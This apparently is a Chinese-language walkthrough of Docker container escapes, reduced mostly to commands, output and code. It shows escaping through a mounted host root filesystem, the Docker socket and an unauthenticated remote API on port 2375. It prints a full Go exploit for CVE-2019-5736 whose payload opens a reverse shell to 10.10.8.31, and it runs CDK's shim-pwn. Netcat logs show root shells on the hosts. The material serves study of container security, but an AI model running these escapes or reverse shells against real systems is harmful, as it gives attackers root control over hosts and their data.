root@3a6943da5e20:/# ls -al /.dockerenv -rwxr-xr-x 1 root root 0 Feb 16 06:31 /.dockerenv
检查 mount 信息，利用 mount 查看挂载磁盘是否存在 docker 相关信息：
1 2 3 4
root@3a6943da5e20:/# mount overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/M5OPWQYYMLOXVPKNMM4QH3V67Z:/var/lib/docker/overlay2/l/7RWSQYGEZTHJ7KHAZVM46U4ZEG:/var/lib/docker/overlay2/l/ZXCGSXE6WZERYGD6NDUSLXIHVC:/var/lib/docker/overlay2/l/AR6ZYVUKZ5KXKLDRB3AQQSJKBT:/var/lib/docker/overlay2/l/4QZSEARML3MRGJRJLIVAWEDY3F,upperdir=/var/lib/docker/overlay2/e572c55a00976c74e93c62d96750f2f2ff20ba4f223633acd894a28c4cf58426/diff,workdir=/var/lib/docker/overlay2/e572c55a00976c74e93c62d96750f2f2ff20ba4f223633acd894a28c4cf58426/work) proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) ......
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
简单查看当前 Shell：
1 2 3 4 5 6 7 8 9 10
You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell # id uid=0(root) gid=0(root) groups=0(root) # tail -n 5 /etc/passwd goktech:x:1000:1000:goktech,,,:/home/goktech:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin traitor2374:x:1001:1001:CVE-2021-3560,,,:/home/traitor2374:/bin/bash sshd:x:126:65534::/run/sshd:/usr/sbin/nologin ruser:x:1002:1002::/home/ruser:/bin/rbash
if [ ! -d "/hostOS" ]; then echo echo ==== ERROR ==== echo It looks like /hostOS does not exist echo Please run this docker image with a /hostOS volume mounted to / echo For example: docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease echo exit fi
if [ ! -f "/hostOS/bin/sh" ] && [ ! -L "/hostOS/bin/sh" ]; then echo echo ==== ERROR ==== echo It looks like /hostOS does not contain a root filesystem echo Please run this docker image with a /hostOS volume mounted to / echo For example: docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease echo exit fi
echo echo You should now have a root shell on the host OS echo Press Ctrl-D to exit the docker instance / shell chroot /hostOS /bin/sh
Disk /dev/sda: 21.5 GB, 21474836480 bytes 255 heads, 63 sectors/track, 2610 cylinders, total 41943040 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x0003c157
Device Boot Start End Blocks Id System /dev/sda1 * 2048 33554431 16776192 83 Linux /dev/sda2 33556478 41940991 4192257 5 Extended /dev/sda5 33556480 41940991 4192256 82 Linux swap / Solaris
root at kali in ~/Desktop $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.42: inverse host lookup failed: Host name lookup failure connect to [10.10.8.31] from (UNKNOWN) [10.10.8.42] 47866 bash: cannot set terminal process group (4087): Inappropriate ioctl for device bash: no job control in this shell root@ubuntu:~# id id uid=0(root) gid=0(root) groups=0(root) root@ubuntu:~#
docker -H unix:///var/run/docker.sock run -v /:/hostOS -i -t chrisfosterelli/rootplease
可以看到这时我们已经拿到了宿主机的 Shell：
1 2 3 4 5 6 7 8
You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell # id uid=0(root) gid=0(root) groups=0(root) # tail -n 3 /etc/passwd goktech:x:1000:1000:goktech,,,:/home/goktech:/bin/bash sshd:x:116:65534::/var/run/sshd:/usr/sbin/nologin guest:x:0:0::/home/test:/bin/bash
root@ubuntu:~# service docker stop root@ubuntu:~# dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375 WARN[2024-02-16T02:14:00.750165550-08:00] [!] DON'T BIND ON ANY IP ADDRESS WITHOUT setting --tlsverify IF YOU DON'T KNOW WHAT YOU'RE DOING [!] INFO[2024-02-16T02:14:00.751762345-08:00] libcontainerd: started new docker-containerd process pid=9226 INFO[2024-02-16T02:14:00.751815380-08:00] parsed scheme: "unix" module=grpc INFO[2024-02-16T02:14:00.751835980-08:00] scheme "unix" not registered, fallback to default scheme module=grpc INFO[2024-02-16T02:14:00.751870834-08:00] ccResolverWrapper: sending new addresses to cc: [{unix:///var/run/docker/containerd/docker-containerd.sock 0 <nil>}] module=grpc INFO[2024-02-16T02:14:00.751891964-08:00] ClientConn switching balancer to "pick_first" module=grpc INFO[2024-02-16T02:14:00.751945366-08:00] pickfirstBalancer: HandleSubConnStateChange: 0xc4201b72c0, CONNECTING module=grpc ......
root@0d40f8bceeec:/# docker -H tcp://10.10.8.42:2375 images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE unauthorized-rce_docker latest sha256:6da3b 8 months ago 146.7 MB dirtycow-docker-vdso_dirtycow latest sha256:128df 8 months ago 357.6 MB ubuntu 16.04 sha256:b6f50 2.464046 years ago 134.8 MB ubuntu <none> sha256:b6f50 2.464046 years ago 134.8 MB ......
启动一个容器并将宿主机根目录挂在到容器的 test 目录：
1
docker -H tcp://10.10.8.42:2375 run -it -v /:/test ubuntu:14.04 /bin/bash
root at kali in ~ $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.42: inverse host lookup failed: Host name lookup failure connect to [10.10.8.31] from (UNKNOWN) [10.10.8.42] 48652 bash: cannot set terminal process group (10366): Inappropriate ioctl for device bash: no job control in this shell root@ubuntu:~# id id uid=0(root) gid=0(root) groups=0(root)
// Implementation of CVE-2019-5736 // Created with help from @singe, @_cablethief, and @feexd. // This commit also helped a ton to understand the vuln // https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d import ( "fmt" "io/ioutil" "os" "strconv" "strings" "flag" )
funcmain() { // This is the line of shell commands that will execute on the host var payload = "#!/bin/bash \n bash -c 'bash -i &> /dev/tcp/10.10.8.31/4444 0>&1'" + shellCmd // First we overwrite /bin/sh with the /proc/self/exe interpreter path fd, err := os.Create("/bin/bash") if err != nil { fmt.Println(err) return } fmt.Fprintln(fd, "#!/proc/self/exe") err = fd.Close() if err != nil { fmt.Println(err) return } fmt.Println("[+] Overwritten /bin/bash successfully")
// Loop through all processes to find one whose cmdline includes runcinit // This will be the process created by runc var found int for found == 0 { pids, err := ioutil.ReadDir("/proc") if err != nil { fmt.Println(err) return } for _, f := range pids { fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") fstring := string(fbytes) if strings.Contains(fstring, "runc") { fmt.Println("[+] Found the PID:", f.Name()) found, err = strconv.Atoi(f.Name()) if err != nil { fmt.Println(err) return } } } }
// We will use the pid to get a file handle for runc on the host. var handleFd = -1 for handleFd == -1 { // Note, you do not need to use the O_PATH flag for the exploit to work. handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777) ifint(handle.Fd()) > 0 { handleFd = int(handle.Fd()) } } fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it // It will maintain it's executable flag for { writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700) ifint(writeHandle.Fd()) > 0 { fmt.Println("[+] Successfully got write handle", writeHandle) fmt.Println("[+] The command executed is" + payload) writeHandle.Write([]byte(payload)) return } } }
使用如下命令进行编译：
1 2 3 4
# 在 Kali 中安装 Go apt-get install golang -y # 编译一下 CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
在 Kali 上开启 Web 服务传递 PoC，同时使用 nc 监听反弹 shell，至此在 Kali 上的操作完毕。
由于 Docker 容器很多工具不存在，手动更新 APT 源，下载 wget 工具：
1 2
apt update apt install wget -y
赋予 POC 权限并执行：
1 2
root@00658bcb78bf:/# chmod +x main ; ./main [+] Overwritten /bin/bash successfully
这时文件运行会开启监听，当使用 /bin/bash 进入容器时就会触发反弹：
1 2
[root@localhost ~]# docker exec -it 00658bcb78bf /bin/bash No help topic for '/bin/bash'
这时容器监听结束：
1 2 3 4 5 6 7
root@00658bcb78bf:/# chmod +x main ; ./main [+] Overwritten /bin/bash successfully [+] Found the PID: 2753 [+] Successfully got the file handle [+] Successfully got write handle &{0xc000055560} [+] The command executed is#!/bin/bash bash -c 'bash -i &> /dev/tcp/10.10.8.31/4444 0>&1'
在 Kali 中成功接收到反弹：
1 2 3 4 5 6 7 8 9 10
root at kali in ~/Desktop/CVE-2019-5736-PoC (master) $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.137: inverse host lookup failed: Host name lookup failure connect to [10.10.8.31] from (UNKNOWN) [10.10.8.137] 44482 bash: no job control in this shell <f903fcaf29c173d2c2b5132f8034799674019cd26ca29ffd]# id id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:container_runtime_t:s0 <f903fcaf29c173d2c2b5132f8034799674019cd26ca29ffd]#
root@ctfd:/tmp# ./cdk_linux_amd64 run shim-pwn 10.10.8.31 12345 2024/02/17 09:16:54 tring to spawn shell to 10.10.8.31:12345 2024/02/17 09:16:54 try socket: @/containerd-shim/moby/bde6975e57469bbef70391473f6f1a97edb26d9847b09beea1d76b7c9b112436/shim.sock
成功反弹：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
root at kali in ~ $ nc -lvvp 12345 listening on [any] 12345 ... 10.10.8.128: inverse host lookup failed: Host name lookup failure connect to [10.10.8.31] from (UNKNOWN) [10.10.8.128] 46798 bash: cannot set terminal process group (14389): Inappropriate ioctl for device bash: no job control in this shell <5f26bdcfdadf24c81c3fee9af4d410da7bf2a1/merged/tmp# id id uid=0(root) gid=0(root) groups=0(root) <5f26bdcfdadf24c81c3fee9af4d410da7bf2a1/merged/tmp# tail -n 5 /etc/passwd tail -n 5 /etc/passwd pulse:x:119:123:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false ctfd:x:1000:1000:ctfd,,,:/home/ctfd:/bin/bash sshd:x:122:65534::/run/sshd:/usr/sbin/nologin
